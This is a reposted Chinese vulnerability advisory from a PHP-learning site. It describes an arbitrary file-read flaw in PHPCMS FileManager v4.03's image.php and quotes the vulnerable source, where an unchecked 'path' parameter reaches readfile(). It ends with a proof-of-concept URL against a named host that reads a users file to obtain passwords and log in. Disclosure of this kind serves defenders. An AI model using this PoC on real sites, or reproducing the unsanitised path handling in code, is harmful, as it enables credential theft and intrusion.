网站地图    收藏   

主页 > 后端 > 网站安全 >

PHPCMS FileManager v4.03 FileRead Vulnerability - 网站安全

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] ##Author : HeXie S3curity TeAm#Date : 2011.10.01##FIle : /image.php?php/**#########################################* PHPCMS File Manager* Copyright (c) 2004-2006 phpcms.cn* Author......


#Author : HeXie S3curity TeAm 
#Date : 2011.10.01 
#

#FIle : /image.php 
<?php 
/* 
*######################################### 
* PHPCMS File Manager 
* Copyright (c) 2004-2006 phpcms.cn 
* Author: Longbill ( www.longbill.cn ) 
* longbill.cn@gmail.com  www.2cto.com
*######################################### 
*/

$path = $_GET["path"]; //读取路径信息 
$from = $_SERVER[HTTP_REFERER]; 
$from = dirname($from).'/'; 
if ($from != '/' ) $path = str_replace($from,"",$path);


$max = $_GET["max"]; 
include_once("func.php"); 
$etag = "qqqq"; 
if ($_SERVER['HTTP_IF_NONE_MATCH'] == $etag) 

header('Etag:'.$etag,true,304); 
exit; 

else header('Etag:'.$etag); 
header('Last-Modified:Tue,01 Aug 1999 10:26:24 GMT');

if (!$path || !file_exists($path))  $path="images/notfound.gif"; //图片没有找到 
if (!$max) err();  //{通过Get方法传递的Max变量, 当$Max不成立时将调用err 函数.}
我们来看看err 函数是怎么写的.
view sourceprint?FiLe : /image.php

function err() 

global $path; 
header("Content-Length: ".@filesize($path)); 
readfile($path); //读取$path. 
die; 
}

PoC:
http://hkmjj.com/cms/image.php?path=class/users.php//读取密码文件, 前台登陆.
如果没有显示,请右键源码形式打开.
end.

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论